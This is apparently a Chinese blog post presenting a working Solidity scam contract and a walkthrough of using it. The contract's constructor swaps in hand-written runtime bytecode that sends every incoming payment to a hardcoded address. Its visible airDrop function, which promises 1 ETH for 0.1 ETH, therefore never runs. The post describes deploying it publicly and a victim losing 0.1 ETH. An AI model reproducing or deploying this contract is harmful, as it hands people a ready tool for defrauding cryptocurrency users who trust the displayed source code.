简介
这是一个蛮有意思的骗子合约,只要对外宣称只需要支付大于0.1ETH,便可以得到1ETH,是你,你会不会信🤪
骗子合约 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 // SPDX-License-Identifier: MIT pragma solidity ^0.8.16; contract Cheat { /* runtimeCode => address(cheat).call{value:address(this).balance}(""); call(g, a, v, in, insize, out, outsize); PUSH1 00 6000 PUSH1 00 6000 PUSH1 00 6000 PUSH1 00 6000 SELFBALANCE 47 PUSH20 Ab8483F64d9C6d1EcF9b849Ae677dD3315835cb2 73Ab8483F64d9C6d1EcF9b849Ae677dD3315835cb2 GAS 5A 5A CALL F1 */ constructor() { bytes memory runtimeCode = hex"60006000600060004773Ab8483F64d9C6d1EcF9b849Ae677dD3315835cb25AF1"; assembly { return(add(runtimeCode, 0x20), mload(runtimeCode)) } } // 空投 function airDrop() external payable { require(msg.value >= 0.1 ether, "You only need pay 0.1 ether, than you can get 1 ether!!!!"); payable(msg.sender).call{value:1 ether}(""); } }
演示
首先cheat将合约部署好,并发布到网上
假以时日,一个靓仔发现了这个airdrop
这个空投,心里想着0.1ETH换1WETH
血赚,然后调用该函数
结果发现自己的账户并没有收到空投,cheat的账户反而增加了 0.1 ether